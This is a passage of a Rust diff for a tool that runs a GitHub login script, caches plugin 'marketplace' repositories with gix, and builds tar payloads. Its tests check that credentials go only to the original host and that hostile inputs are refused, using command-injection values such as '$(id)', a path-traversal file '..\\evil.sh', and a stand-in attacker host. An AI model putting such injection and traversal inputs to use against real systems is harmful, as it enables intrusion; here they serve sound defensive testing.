let (r, _) = drive(frames, keys, &mut cancel, far()).await;
assert!(r.unwrap_err().contains("Could not answer"));
}
#[tokio::test]
async fn a_cancel_is_a_failure() {
let (tx, mut cancel) = oneshot::channel();
tx.send(()).unwrap();
let (r, _) = drive(stream::pending(), Keys::default(), &mut cancel, far()).await;
assert!(r.unwrap_err().contains("cancelled"));
}
#[tokio::test(start_paused = true)]
async fn a_timeout_is_a_failure() {
let (_tx, mut cancel) = oneshot::channel();
let deadline = tokio::time::Instant::now() + Duration::from_secs(1);
let (r, _) = drive(stream::pending(), Keys::default(), &mut cancel, deadline).await;
assert!(r.unwrap_err().contains("Timed out"));
}
}
/// The script end to end against a stand-in `gh`, as a login would run it
/// inside the container (minus Docker).
#[cfg(unix)]
mod script {
use super::super::*;
use std::os::unix::fs::PermissionsExt;
use std::path::{Path, PathBuf};
use std::process::{Command, Stdio};
/// A fake `gh` that records its environment into `log_dir` and prints
/// the fixture token for `auth token`. `login_body` runs for `auth login`.
fn fake_gh(dir: &Path, log_dir: &Path, login_body: &str) -> PathBuf {
let bin = dir.join("bin");
std::fs::create_dir_all(&bin).unwrap();
let gh = bin.join("gh");
std::fs::write(
&gh,
format!(
"#!/bin/sh\n\
log='{log}'\n\
case \"$1 $2\" in\n\
'auth login')\n\
printf '%s\\n' \"$GH_CONFIG_DIR\" > \"$log/config_dir\"\n\
printf '%s\\n' \"$GIT_CONFIG_GLOBAL\" > \"$log/git_config\"\n\
printf '%s\\n' \"$BROWSER\" > \"$log/browser\"\n\
printf '%s\\n' \"$*\" > \"$log/args\"\n\
echo 'token-in-config' > \"$GH_CONFIG_DIR/hosts.yml\"\n\
{login}\n\
;;\n\
'auth token') echo test-token-not-real ;;\n\
*) exit 9 ;;\n\
esac\n",
log = log_dir.display(),
login = login_body,
),
)
.unwrap();
std::fs::set_permissions(&gh, std::fs::Permissions::from_mode(0o755)).unwrap();
bin
}
fn script_command(bin: &Path, tmp: &Path, host: &str) -> Command {
let mut cmd = Command::new("sh");
cmd.arg("-c")
.arg(GH_LOGIN_SCRIPT)
.arg("triple-c-gh-login")
.arg(host)
.env(
"PATH",
format!("{}:{}", bin.display(), std::env::var("PATH").unwrap()),
)
.env("TMPDIR", tmp);
cmd
}
fn read(p: PathBuf) -> String {
std::fs::read_to_string(p).unwrap().trim().to_string()
}
#[test]
fn the_token_comes_back_and_the_temp_config_is_gone() {
let root = tempfile::tempdir().unwrap();
let log = root.path().join("log");
let tmp = root.path().join("tmp");
std::fs::create_dir_all(&log).unwrap();
std::fs::create_dir_all(&tmp).unwrap();
let bin = fake_gh(root.path(), &log, "echo '✓ Logged in'");
let out = script_command(&bin, &tmp, "github.com").output().unwrap();
assert!(
out.status.success(),
"{}",
String::from_utf8_lossy(&out.stderr)
);
let stdout = String::from_utf8_lossy(&out.stdout);
assert_eq!(
extract_token(&stdout),
Some("test-token-not-real".to_string())
);
let config_dir = read(log.join("config_dir"));
assert!(
config_dir.starts_with(tmp.to_str().unwrap()),
"{config_dir}"
);
assert!(
!Path::new(&config_dir).exists(),
"temp GH_CONFIG_DIR left behind"
);
assert_eq!(
read(log.join("git_config")),
format!("{config_dir}/gitconfig")
);
assert_eq!(read(log.join("browser")), "true");
assert_eq!(
read(log.join("args")),
"auth login --hostname github.com --web --git-protocol ssh --skip-ssh-key --scopes repo"
);
assert_eq!(std::fs::read_dir(&tmp).unwrap().count(), 0);
}
#[test]
fn the_script_refuses_a_bad_host_on_its_own() {
let root = tempfile::tempdir().unwrap();
let log = root.path().join("log");
std::fs::create_dir_all(&log).unwrap();
let bin = fake_gh(root.path(), &log, "true");
for bad in ["", "-x", "a;b", "$(id)", "a:1"] {
let out = script_command(&bin, root.path(), bad).output().unwrap();
assert_eq!(out.status.code(), Some(2), "{bad:?}");
assert!(!log.join("args").exists(), "gh ran for {bad:?}");
}
}
/// Pre-flight N9: a cancel `pkill`s the login; the temp config must
/// still be removed when the script dies by signal.
#[test]
fn a_killed_login_still_removes_the_temp_config() {
use std::os::unix::process::CommandExt;
let root = tempfile::tempdir().unwrap();
let log = root.path().join("log");
let tmp = root.path().join("tmp");
std::fs::create_dir_all(&log).unwrap();
std::fs::create_dir_all(&tmp).unwrap();
let bin = fake_gh(root.path(), &log, "touch \"$log/started\"; sleep 30");
let mut child = script_command(&bin, &tmp, "github.com")
.stdout(Stdio::null())
.stderr(Stdio::null())
.process_group(0)
.spawn()
.unwrap();
let started = log.join("started");
for _ in 0..200 {
if started.exists() {
break;
}
std::thread::sleep(std::time::Duration::from_millis(25));
}
assert!(started.exists(), "fake gh never started");
let config_dir = read(log.join("config_dir"));
assert!(Path::new(&config_dir).exists());
// Like `pkill -f`, which matches both the script and gh.
let pgid = child.id().to_string();
let killed = Command::new("kill")
.args(["-s", "TERM", "--", &format!("-{pgid}")])
.status()
.unwrap();
assert!(killed.success(), "kill failed");
let sent = std::time::Instant::now();
child.wait().unwrap();
assert!(
sent.elapsed() < std::time::Duration::from_secs(10),
"the script outlived the signal"
);
assert!(
!Path::new(&config_dir).exists(),
"temp GH_CONFIG_DIR left behind"
);
}
}
}
+717
View File
@@ -0,0 +1,717 @@
//! The marketplace cache: one bare `gix` repository per marketplace.
//!
//! Everything here is blocking — call it from `tokio::task::spawn_blocking`.
//! Credentials are handed to gix through its credential callback for the
//! duration of one fetch and are never written to disk or into the repo
//! config.
use std::path::{Path, PathBuf};
use std::sync::atomic::AtomicBool;
/// The ref the fetched branch tip is stored under.
pub const HEAD_REF: &str = "refs/triple-c/head";
/// Prefix of the refs that keep pinned commits alive.
pub const PIN_PREFIX: &str = "refs/triple-c/pins/";
#[derive(Clone)]
pub struct Credential {
pub username: String,
pub password: String,
}
impl std::fmt::Debug for Credential {
fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
f.debug_struct("Credential")
.field("username", &self.username)
.field("password", &"<redacted>")
.finish()
}
}
#[derive(Debug, Clone, PartialEq, Eq)]
pub enum FetchError {
/// 401 / 403, or gix's "credentials … were not accepted" / "no
/// credentials were returned" (anonymous fetch of a private repo).
Auth {
status: u16,
},
/// 404 / "repository not found".
NotFound,
Network(String),
Other(String),
}
impl std::fmt::Display for FetchError {
fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
match self {
FetchError::Auth { status } => write!(f, "access denied (HTTP {})", status),
FetchError::NotFound => write!(f, "repository not found"),
FetchError::Network(m) => write!(f, "network error: {}", m),
FetchError::Other(m) => write!(f, "{}", m),
}
}
}
/// Classify a gix error by its Debug-formatted chain. gix wraps transport
/// errors several layers deep and some layers are not `std::error::Error`,
/// so the text is the one stable thing to match on.
pub fn classify_fetch_error(chain: &str) -> FetchError {
let lower = chain.to_ascii_lowercase();
if lower.contains("http status 401")
|| lower.contains("not accepted by the remote")
// GitHub and GitLab answer an anonymous fetch of a private (or
// missing) repo with a credential challenge; with no credential
// callback result gix reports this (pre-flight F2).
|| lower.contains("no credentials were returned")
{
return FetchError::Auth { status: 401 };
}
if lower.contains("http status 403") {
return FetchError::Auth { status: 403 };
}
if lower.contains("http status 404") || lower.contains("repository not found") {
return FetchError::NotFound;
}
const NETWORK: &[&str] = &[
"dns error",
"resolving dns",
"failed to lookup address",
"connection refused",
"connection reset",
"timed out",
"timeout",
"network is unreachable",
"no route to host",
"error sending request",
"tcp connect error",
];
if NETWORK.iter().any(|needle| lower.contains(needle)) {
// The outermost line is a generic "Transport handshake failed"; the
// innermost `└─` line names the actual cause.
let cause = chain
.lines()
.filter_map(|l| l.trim_start().strip_prefix("└─"))
.next_back()
.unwrap_or(chain);
return FetchError::Network(first_line(cause));
}
FetchError::Other(first_line(chain))
}
/// First line of `chain`, without gix's `", at <source path>:<line>"` suffix,
/// capped at 300 characters.
fn first_line(chain: &str) -> String {
let line = chain.lines().next().unwrap_or("");
let line = line.split(", at /").next().unwrap_or(line);
line.trim().chars().take(300).collect()
}
fn classify<E: std::fmt::Debug>(e: E) -> FetchError {
classify_fetch_error(&format!("{:?}", e))
}
pub fn cache_path(data_root: &Path, marketplace_id: &str) -> PathBuf {
data_root
.join("marketplaces")
.join(format!("{}.git", marketplace_id))
}
/// Branch names that are safe inside a refspec. Stricter than git's own
/// rules on purpose: nothing that could change the refspec's meaning.
/// `pub(crate)` so the add-marketplace form validates with this same rule
/// (pre-flight F13).
pub(crate) fn valid_branch(branch: &str) -> bool {
!branch.is_empty()
&& branch.len() <= 200
&& !branch.starts_with('-')
&& !branch.starts_with('/')
&& !branch.ends_with('/')
&& !branch.ends_with(".lock")
&& !branch.contains("..")
&& !branch.contains("//")
&& branch
.bytes()
.all(|b| b.is_ascii_alphanumeric() || matches!(b, b'-' | b'_' | b'.' | b'/'))
}
fn open_or_init(repo_path: &Path) -> Result<gix::Repository, FetchError> {
if repo_path.exists() {
gix::open(repo_path)
.map_err(|e| FetchError::Other(format!("Could not open the marketplace cache: {}", e)))
} else {
if let Some(parent) = repo_path.parent() {
std::fs::create_dir_all(parent).map_err(|e| {
FetchError::Other(format!("Could not create {}: {}", parent.display(), e))
})?;
}
gix::init_bare(repo_path).map_err(|e| {
FetchError::Other(format!("Could not create the marketplace cache: {}", e))
})
}
}
/// `(scheme, host[:port])` of a credential request, lowercased, with a
/// default port dropped (gix's own normalisation). None if it names no host.
fn credential_origin(ctx: &gix::credentials::protocol::Context) -> Option<(String, String)> {
let mut ctx = ctx.clone();
ctx.destructure_url_in_place(false).ok()?;
let protocol = ctx.protocol?.to_ascii_lowercase();
let host = ctx.host?.to_ascii_lowercase();
(!host.is_empty()).then_some((protocol, host))
}
/// True when a credential request is for the marketplace's own scheme, host
/// and port. gix follows redirects of the initial handshake, and the token
/// must never be offered to a host it was redirected to (final review M1).
pub(crate) fn credential_matches(ctx: &gix::credentials::protocol::Context, url: &str) -> bool {
let wanted = gix::credentials::protocol::Context::from_url(url, Default::default());
match (credential_origin(ctx), credential_origin(&wanted)) {
(Some(asked), Some(wanted)) => asked == wanted,
_ => false,
}
}
/// Init the bare repo if missing, fetch `branch` (or the remote's default
/// branch) into [`HEAD_REF`], and return the head commit hex.
pub fn fetch(
repo_path: &Path,
url: &str,
branch: Option<&str>,
cred: Option<Credential>,
) -> Result<String, FetchError> {
let refspec = match branch {
Some(b) if !valid_branch(b) => {
return Err(FetchError::Other(format!(
"{:?} is not a valid branch name",
b
)));
}
Some(b) => format!("+refs/heads/{}:{}", b, HEAD_REF),
None => format!("+HEAD:{}", HEAD_REF),
};
let repo = open_or_init(repo_path)?;
let remote = repo
.remote_at(url)
.map_err(|e| FetchError::Other(format!("Invalid repository URL: {}", e)))?
.with_refspecs([refspec.as_str()], gix::remote::Direction::Fetch)
.map_err(|e| FetchError::Other(format!("Invalid refspec: {}", e)))?;
let own_url = url.to_string();
let connection = remote
.connect(gix::remote::Direction::Fetch)
.map_err(classify)?
.with_credentials(move |action| match (action, &cred) {
(gix::credentials::helper::Action::Get(ctx), Some(c))
if credential_matches(&ctx, &own_url) =>
{
Ok(Some(gix::credentials::protocol::Outcome {
identity: gix::sec::identity::Account {
username: c.username.clone(),
password: c.password.clone(),
oauth_refresh_token: None,
},
next: gix::credentials::helper::NextAction::from(ctx),
}))
}
_ => Ok(None),
});
connection
.prepare_fetch(gix::progress::Discard, Default::default())
.map_err(classify)?
.receive(gix::progress::Discard, &AtomicBool::new(false))
.map_err(classify)?;
cached_head(repo_path)
.map_err(FetchError::Other)?
.ok_or_else(|| FetchError::Other("The remote did not return a branch to fetch".to_string()))
}
/// Current [`HEAD_REF`], if fetched before.
pub fn cached_head(repo_path: &Path) -> Result<Option<String>, String> {
if !repo_path.exists() {
return Ok(None);
}
let repo =
gix::open(repo_path).map_err(|e| format!("Could not open the marketplace cache: {}", e))?;
let reference = repo
.try_find_reference(HEAD_REF)
.map_err(|e| format!("Could not read {}: {}", HEAD_REF, e))?;
match reference {
None => Ok(None),
Some(mut r) => {
let id = r
.peel_to_id()
.map_err(|e| format!("Could not resolve {}: {}", HEAD_REF, e))?;
Ok(Some(id.to_string()))
}
}
}
pub fn has_commit(repo_path: &Path, commit: &str) -> bool {
let Ok(repo) = gix::open(repo_path) else {
return false;
};
let Ok(oid) = gix::ObjectId::from_hex(commit.as_bytes()) else {
return false;
};
// Bound before returning: the `Result<Commit<'_>>` temporary borrows
// `repo` and must drop first (pre-flight F1, E0597 as a tail expression).
let found = repo.find_commit(oid).is_ok();
found
}
/// Make `refs/triple-c/pins/*` exactly the given set (commits missing from
/// the cache are skipped), so pinned commits survive later fetches.
pub fn set_pins(repo_path: &Path, commits: &[String]) -> Result<(), String> {
let repo =
gix::open(repo_path).map_err(|e| format!("Could not open the marketplace cache: {}", e))?;
let wanted: std::collections::BTreeSet<&str> = commits.iter().map(String::as_str).collect();
let mut existing = Vec::new();
let platform = repo
.references()
.map_err(|e| format!("Could not list refs: {}", e))?;
for reference in platform
.prefixed(PIN_PREFIX)
.map_err(|e| format!("Could not list pins: {}", e))?
{
let reference = reference.map_err(|e| format!("Could not read a pin: {:?}", e))?;
existing.push(reference.name().as_bstr().to_string());
}
for name in &existing {
let commit = name.trim_start_matches(PIN_PREFIX);
if !wanted.contains(commit) {
if let Some(r) = repo
.try_find_reference(name.as_str())
.map_err(|e| format!("Could not read {}: {}", name, e))?
{
r.delete()
.map_err(|e| format!("Could not remove {}: {}", name, e))?;
}
}
}
for commit in wanted {
let name = format!("{}{}", PIN_PREFIX, commit);
if existing.contains(&name) {
continue;
}
let Ok(oid) = gix::ObjectId::from_hex(commit.as_bytes()) else {
continue;
};
if repo.find_commit(oid).is_err() {
continue;
}
repo.reference(
name.as_str(),
oid,
gix::refs::transaction::PreviousValue::Any,
"triple-c pin",
)
.map_err(|e| format!("Could not pin {}: {}", commit, e))?;
}
Ok(())
}
#[cfg(test)]
pub(crate) mod test_support {
//! Fixture repos built with the git CLI. Tests that need one call
//! [`git_available`] first and return early without it.
use std::path::Path;
use std::process::Command;
pub fn git_available() -> bool {
Command::new("git")
.arg("--version")
.output()
.map(|o| o.status.success())
.unwrap_or(false)
}
pub fn git(dir: &Path, args: &[&str]) -> String {
let out = Command::new("git")
.args([
"-c",
"user.name=t",
"-c",
"user.email=t@example.invalid",
"-c",
"init.defaultBranch=main",
])
.args(args)
.current_dir(dir)
.output()
.expect("git runs");
assert!(
out.status.success(),
"git {:?}: {}",
args,
String::from_utf8_lossy(&out.stderr)
);
String::from_utf8_lossy(&out.stdout).trim().to_string()
}
/// Write `files` (path, contents, executable) into a new repo and commit.
pub fn init_repo(dir: &Path, files: &[(&str, &str, bool)]) -> String {
git(dir, &["init", "-q"]);
commit_files(dir, files, "initial")
}
pub fn commit_files(dir: &Path, files: &[(&str, &str, bool)], message: &str) -> String {
for (path, contents, exec) in files {
let full = dir.join(path);
std::fs::create_dir_all(full.parent().unwrap()).unwrap();
std::fs::write(&full, contents).unwrap();
#[cfg(unix)]
if *exec {
use std::os::unix::fs::PermissionsExt;
std::fs::set_permissions(&full, std::fs::Permissions::from_mode(0o755)).unwrap();
}
#[cfg(not(unix))]
let _ = exec;
}
git(dir, &["add", "-A"]);
git(dir, &["commit", "-q", "-m", message]);
git(dir, &["rev-parse", "HEAD"])
}
pub fn file_url(dir: &Path) -> String {
format!("file://{}", dir.display())
}
}
#[cfg(test)]
mod tests {
use super::test_support::*;
use super::*;
use crate::marketplace::tree::{GitTree, TreeView};
#[test]
fn fetch_error_mapping() {
let cases = [
("Credentials provided for \"https://x\" were not accepted by the remote\n└─ Received HTTP status 401", FetchError::Auth { status: 401 }),
("handshake\n└─ Received HTTP status 403", FetchError::Auth { status: 403 }),
("└─ Received HTTP status 404", FetchError::NotFound),
("remote: Repository not found.", FetchError::NotFound),
// What gix actually reports for an anonymous fetch of a private
// (or missing) GitHub/GitLab repo (pre-flight F2).
(
"No credentials were returned at all as if the credential helper isn't functioning unknowingly, at /home/u/.cargo/registry/src/index/gix-protocol-0.1/src/handshake/function.rs:70",
FetchError::Auth { status: 401 },
),
];
for (text, want) in cases {
assert_eq!(classify_fetch_error(text), want, "{}", text);
}
assert!(matches!(
classify_fetch_error("error sending request\n└─ dns error: failed to lookup address"),
FetchError::Network(_)
));
assert!(matches!(
classify_fetch_error("operation timed out"),
FetchError::Network(_)
));
assert!(matches!(
classify_fetch_error("something odd"),
FetchError::Other(_)
));
}
#[test]
fn fetch_error_text_drops_source_locations_and_names_the_network_cause() {
// Pre-flight F2: gix appends ", at <cargo registry path>:<line>";
// the innermost `└─` line is the useful network cause.
let chain = "Transport handshake failed, at /home/u/.cargo/registry/src/x/handshake/function.rs:40\n\
├─ An IO error occurred when talking to the server, at /home/u/.cargo/y.rs:12\n\
└─ error resolving DNS, at /home/u/.cargo/z.rs:9";
assert_eq!(
classify_fetch_error(chain),
FetchError::Network("error resolving DNS".to_string())
);
let refused = "Transport handshake failed, at /home/u/.cargo/a.rs:1\n└─ Connection refused (os error 111)";
assert_eq!(
classify_fetch_error(refused),
FetchError::Network("Connection refused (os error 111)".to_string())
);
assert_eq!(
classify_fetch_error("Something odd, at /home/u/.cargo/b.rs:3\n└─ deeper"),
FetchError::Other("Something odd".to_string())
);
}
#[test]
fn credential_debug_never_shows_the_password() {
let c = Credential {
username: "u".into(),
password: "test-token-not-real".into(),
};
let shown = format!("{:?}", c);
assert!(!shown.contains("test-token-not-real"));
assert!(shown.contains("<redacted>"));
}
/// Final review M1: the token goes only to the marketplace's own scheme,
/// host and port — never to a host the handshake was redirected to.
#[test]
fn credentials_are_offered_only_to_the_marketplace_host() {
use gix::credentials::protocol::Context;
let url = "https://git.example.com/org/repo.git";
let ctx = |u: &str| Context::from_url(u, Default::default());
assert!(credential_matches(&ctx(url), url));
assert!(credential_matches(
&ctx("https://git.example.com/other/path.git"),
url
));
assert!(credential_matches(
&ctx("https://GIT.example.com/org/repo.git"),
url
));
assert!(credential_matches(
&ctx("https://git.example.com:443/org/repo.git"),
url
));
for other in [
"https://evil.example.net/org/repo.git",
"https://git.example.com.evil.net/org/repo.git",
"https://git.example.com:8443/org/repo.git",
"http://git.example.com/org/repo.git",
] {
assert!(!credential_matches(&ctx(other), url), "{other}");
}
let with_port = "https://git.example.com:8443/org/repo.git";
assert!(credential_matches(&ctx(with_port), with_port));
assert!(!credential_matches(&ctx(url), with_port));
// A request that names no host gets nothing.
assert!(!credential_matches(&Context::default(), url));
let host_only = Context {
protocol: Some("https".into()),
host: Some("git.example.com".into()),
..Default::default()
};
assert!(credential_matches(&host_only, url));
}
#[test]
fn refuses_unsafe_branch_names() {
let dir = tempfile::tempdir().unwrap();
for bad in ["-x", "a..b", "a b", "a:b", "x*", "a.lock", ""] {
let err = fetch(
&dir.path().join("c.git"),
"file:///nowhere",
Some(bad),
None,
)
.unwrap_err();
assert!(
matches!(err, FetchError::Other(ref m) if m.contains("branch")),
"{bad:?}: {err:?}"
);
}
}
#[test]
fn valid_branch_accepts_ordinary_names() {
// pub(crate) so the add-marketplace form validates with the same rule
// the fetch applies (pre-flight F13).
for good in ["main", "release/1.2", "feature_x", "v2.0-rc.1"] {
assert!(valid_branch(good), "{good:?}");
}
for bad in [
"/main", "main/", "a//b", "x.lock", "-x", "a..b", "a b", "a\\b",
] {
assert!(!valid_branch(bad), "{bad:?}");
}
}
#[test]
fn fetches_default_branch_then_updates() {
if !git_available() {
return;
}
let src = tempfile::tempdir().unwrap();
let first = init_repo(
src.path(),
&[
("agents/a.md", "one", false),
("hooks/h/run.sh", "#!/bin/sh", true),
],
);
let cache = tempfile::tempdir().unwrap();
let repo = cache_path(cache.path(), "m1");
assert_eq!(cached_head(&repo).unwrap(), None);
let head = fetch(&repo, &file_url(src.path()), None, None).unwrap();
assert_eq!(head, first);
assert_eq!(cached_head(&repo).unwrap(), Some(first.clone()));
assert!(has_commit(&repo, &first));
let tree = GitTree::open(&repo, &first).unwrap();
assert_eq!(
tree.read_file("agents/a.md", 1024).unwrap().unwrap(),
b"one"
);
let hook = tree.list_dir("hooks/h").unwrap().unwrap();
assert!(hook[0].executable);
assert!(tree.entry_id("agents/a.md").unwrap().is_some());
assert_eq!(tree.list_dir("agents/a.md").unwrap(), None);
let second = commit_files(src.path(), &[("agents/a.md", "two", false)], "second");
assert_eq!(
fetch(&repo, &file_url(src.path()), None, None).unwrap(),
second
);
// The old commit is still readable after the update.
assert_eq!(
GitTree::open(&repo, &first)
.unwrap()
.read_file("agents/a.md", 1024)
.unwrap()
.unwrap(),
b"one"
);
}
#[test]
fn fetches_a_named_branch() {
if !git_available() {
return;
}
let src = tempfile::tempdir().unwrap();
init_repo(src.path(), &[("a.md", "main", false)]);
git(src.path(), &["checkout", "-q", "-b", "next"]);
let next = commit_files(src.path(), &[("a.md", "next", false)], "next");
git(src.path(), &["checkout", "-q", "main"]);
let cache = tempfile::tempdir().unwrap();
let repo = cache_path(cache.path(), "m1");
assert_eq!(
fetch(&repo, &file_url(src.path()), Some("next"), None).unwrap(),
next
);
}
#[test]
fn missing_repo_is_an_error_not_a_panic() {
let cache = tempfile::tempdir().unwrap();
let err = fetch(
&cache_path(cache.path(), "m"),
"file:///definitely/not/here",
None,
None,
)
.unwrap_err();
assert!(!matches!(err, FetchError::Auth { .. }), "{err:?}");
}
#[test]
fn refused_connection_is_a_network_error_without_source_paths() {
// Port 1 on loopback: refused immediately, no real network involved.
let cache = tempfile::tempdir().unwrap();
let err = fetch(
&cache_path(cache.path(), "m"),
"https://127.0.0.1:1/x.git",
None,
None,
)
.unwrap_err();
match err {
FetchError::Network(m) => assert!(!m.contains(", at /"), "{m}"),
other => panic!("expected a network error, got {other:?}"),
}
}
#[test]
fn has_commit_is_false_for_unknown_or_malformed_ids() {
if !git_available() {
return;
}
let src = tempfile::tempdir().unwrap();
init_repo(src.path(), &[("x", "1", false)]);
let cache = tempfile::tempdir().unwrap();
let repo = cache_path(cache.path(), "m");
fetch(&repo, &file_url(src.path()), None, None).unwrap();
assert!(!has_commit(&repo, &"f".repeat(40)));
assert!(!has_commit(&repo, "not-hex"));
assert!(!has_commit(
&cache.path().join("absent.git"),
&"f".repeat(40)
));
}
#[test]
fn pins_are_exactly_the_requested_set() {
if !git_available() {
return;
}
let src = tempfile::tempdir().unwrap();
let a = init_repo(src.path(), &[("x", "1", false)]);
let b = commit_files(src.path(), &[("x", "2", false)], "b");
let cache = tempfile::tempdir().unwrap();
let repo = cache_path(cache.path(), "m");
fetch(&repo, &file_url(src.path()), None, None).unwrap();
set_pins(&repo, &[a.clone(), b.clone(), "f".repeat(40)]).unwrap();
let pins = |repo: &Path| -> Vec<String> {
let r = gix::open(repo).unwrap();
let mut names: Vec<String> = r
.references()
.unwrap()
.prefixed(PIN_PREFIX)
.unwrap()
.map(|x| x.unwrap().name().as_bstr().to_string())
.collect();
names.sort();
names
};
let mut want = vec![
format!("{}{}", PIN_PREFIX, a),
format!("{}{}", PIN_PREFIX, b),
];
want.sort();
assert_eq!(pins(&repo), want);
set_pins(&repo, std::slice::from_ref(&b)).unwrap();
assert_eq!(pins(&repo), vec![format!("{}{}", PIN_PREFIX, b)]);
}
#[test]
fn git_tree_entry_with_a_backslash_marks_the_item_invalid() {
// Task 3 review: a real git tree (not MemTree) whose entry name
// contains `\` must make the catalog reject the item. git itself
// refuses `/` in names, so `\` is the separator that can get through.
if !git_available() {
return;
}
let src = tempfile::tempdir().unwrap();
init_repo(src.path(), &[("skills/ok/SKILL.md", "fine", false)]);
let evil = commit_files(
src.path(),
&[
("skills/s/SKILL.md", "x", false),
("skills/s/..\\evil.sh", "boom", false),
],
"evil",
);
let cache = tempfile::tempdir().unwrap();
let repo = cache_path(cache.path(), "m");
assert_eq!(
fetch(&repo, &file_url(src.path()), None, None).unwrap(),
evil
);
let tree = GitTree::open(&repo, &evil).unwrap();
let names: Vec<String> = tree
.list_dir("skills/s")
.unwrap()
.unwrap()
.into_iter()
.map(|e| e.name)
.collect();
assert!(names.contains(&"..\\evil.sh".to_string()), "{names:?}");
let items = crate::marketplace::catalog::parse_catalog(&tree);
let skill = items.iter().find(|i| i.key == "s").unwrap();
assert!(skill.invalid.is_some(), "{skill:?}");
let ok = items.iter().find(|i| i.key == "ok").unwrap();
assert!(ok.invalid.is_none(), "{ok:?}");
}
}
File diff suppressed because it is too large Load Diff
+561
View File
@@ -0,0 +1,561 @@
//! Builds the tar a project's container receives: every effective install's
//! files, read from the cache at its pinned commit, plus `manifest.json` and a
//! generated Claude Code catalog per marketplace that contributes plugins.
//! Layout: see the Interface Contract in the plan / spec §4. The tar carries
//! no directory entries — the sync script's extraction (plus its umask)
//! creates them.
use std::collections::{BTreeMap, BTreeSet};
use std::path::Path;
use serde_json::{json, Value};
use super::catalog::{item_files, plugin_catalog_entry, rendered_hook_settings, ItemFile};
use super::git;
use super::tree::GitTree;
use crate::models::marketplace::{
is_valid_commit, is_valid_item_key, marketplace_slug, ItemKind, Marketplace,
MarketplaceInstall, SkippedItem,
};
pub struct PayloadInput<'a> {
pub installs: &'a [MarketplaceInstall],
pub marketplaces: &'a [Marketplace],
/// data root used to find caches (see git::cache_path)
pub data_root: &'a Path,
}
pub struct Payload {
pub tar: Vec<u8>,
pub manifest: Value,
pub skipped: Vec<SkippedItem>,
}
/// A relative path from `item_files` is joined under a directory we chose, so
/// it must not be able to climb out of it. The catalog already refuses such
/// entries; this is the second line.
fn safe_rel(rel: &str) -> bool {
!rel.is_empty()
&& !rel.starts_with('/')
&& !rel.contains('\\')
&& rel
.split('/')
.all(|seg| !seg.is_empty() && seg != "." && seg != "..")
}
struct TarWriter {
builder: tar::Builder<Vec<u8>>,
mtime: u64,
}
impl TarWriter {
fn new() -> Self {
let mtime = std::time::SystemTime::now()
.duration_since(std::time::UNIX_EPOCH)
.map(|d| d.as_secs())
.unwrap_or(0);
Self {
builder: tar::Builder::new(Vec::new()),
mtime,
}
}
fn file(&mut self, path: &str, data: &[u8], executable: bool) -> Result<(), String> {
let mut header = tar::Header::new_gnu();
header.set_size(data.len() as u64);
header.set_mode(if executable { 0o755 } else { 0o644 });
header.set_mtime(self.mtime);
header.set_entry_type(tar::EntryType::Regular);
self.builder
.append_data(&mut header, path, data)
.map_err(|e| format!("Could not add {path} to the marketplace payload: {e}"))
}
fn finish(self) -> Result<Vec<u8>, String> {
self.builder
.into_inner()
.map_err(|e| format!("Could not finish the marketplace payload: {e}"))
}
}
struct PluginGroup {
entries: Vec<Value>,
keys: Vec<String>,
}
/// Files of one install, validated for use as payload paths.
fn install_files(
repo: &Path,
inst: &MarketplaceInstall,
) -> Result<(GitTree, Vec<ItemFile>), String> {
let tree = GitTree::open(repo, &inst.commit)?;
let files = item_files(&tree, inst.kind, &inst.key)?;
if let Some(bad) = files.iter().find(|f| !safe_rel(&f.rel_path)) {
return Err(format!("contains an unsafe path ({})", bad.rel_path));
}
Ok((tree, files))
}
pub fn build_payload(input: &PayloadInput) -> Result<Payload, String> {
let mut tar = TarWriter::new();
let mut items: Vec<Value> = Vec::new();
let mut skipped: Vec<SkippedItem> = Vec::new();
// State ids (see sync.sh) of installs the host could not build this time:
// the container keeps what it has for them instead of treating them as
// deselected (final review M3). Only a removed source really removes.
let mut held: BTreeSet<String> = BTreeSet::new();
let mut plugin_groups: BTreeMap<String, PluginGroup> = BTreeMap::new();
// Non-plugin items share one namespace in ~/.claude; plugins are namespaced
// by their per-marketplace catalog, so they never collide.
let mut taken: BTreeSet<(ItemKind, String)> = BTreeSet::new();
for inst in input.installs {
let label = format!("{}:{}", inst.kind.as_str(), inst.key);
let mut skip = |reason: String| {
skipped.push(SkippedItem {
item: label.clone(),
reason,
})
};
let Some(m) = input
.marketplaces
.iter()
.find(|m| m.id == inst.marketplace_id)
else {
skip("its marketplace has been removed".to_string());
continue;
};
let state_id = match inst.kind {
ItemKind::Plugin => format!("plugin:{}/{}", marketplace_slug(&m.id), inst.key),
_ => label.clone(),
};
let mut hold = |reason: String| {
held.insert(state_id.clone());
skip(reason)
};
if !is_valid_item_key(&inst.key) {
skip("the saved install entry is invalid".to_string());
continue;
}
if !is_valid_commit(&inst.commit) {
hold("the saved install entry is invalid".to_string());
continue;
}
if inst.kind != ItemKind::Plugin && taken.contains(&(inst.kind, inst.key.clone())) {
skip(format!(
"another marketplace's {label} is already installed"
));
continue;
}
let repo = git::cache_path(input.data_root, &m.id);
if !git::has_commit(&repo, &inst.commit) {
hold(format!(
"pinned commit {} is not in the local cache of \"{}\" — refresh the marketplace",
&inst.commit[..8],
m.name
));
continue;
}
let (tree, files) = match install_files(&repo, inst) {
Ok(v) => v,
Err(e) => {
hold(e);
continue;
}
};
let key = &inst.key;
let mut item = json!({
"kind": inst.kind.as_str(),
"key": key,
"marketplace": m.id,
"commit": inst.commit,
});
match inst.kind {
ItemKind::Agent | ItemKind::Command => {
let dir = if inst.kind == ItemKind::Agent {
"agents"
} else {
"commands"
};
let Some(f) = files.first() else {
hold("has no files".to_string());
continue;
};
let path = format!("{dir}/{key}.md");
tar.file(&path, &f.data, false)?;
item["file"] = json!(path);
}
ItemKind::Skill | ItemKind::Hook => {
let dir = if inst.kind == ItemKind::Skill {
format!("skills/{key}")
} else {
format!("hooks/{key}")
};
if inst.kind == ItemKind::Hook {
match rendered_hook_settings(&tree, key) {
Ok(settings) => item["settings"] = settings,
Err(e) => {
hold(e);
continue;
}
}
}
for f in &files {
tar.file(&format!("{dir}/{}", f.rel_path), &f.data, f.executable)?;
}
item["dir"] = json!(dir);
}
ItemKind::Plugin => {
let mut entry = match plugin_catalog_entry(&tree, key) {
Ok(e) => e,
Err(e) => {
hold(e);
continue;
}
};
entry["source"] = json!(format!("./{key}"));
let slug = marketplace_slug(&m.id);
for f in &files {
tar.file(
&format!("plugins/{slug}/{key}/{}", f.rel_path),
&f.data,
f.executable,
)?;
}
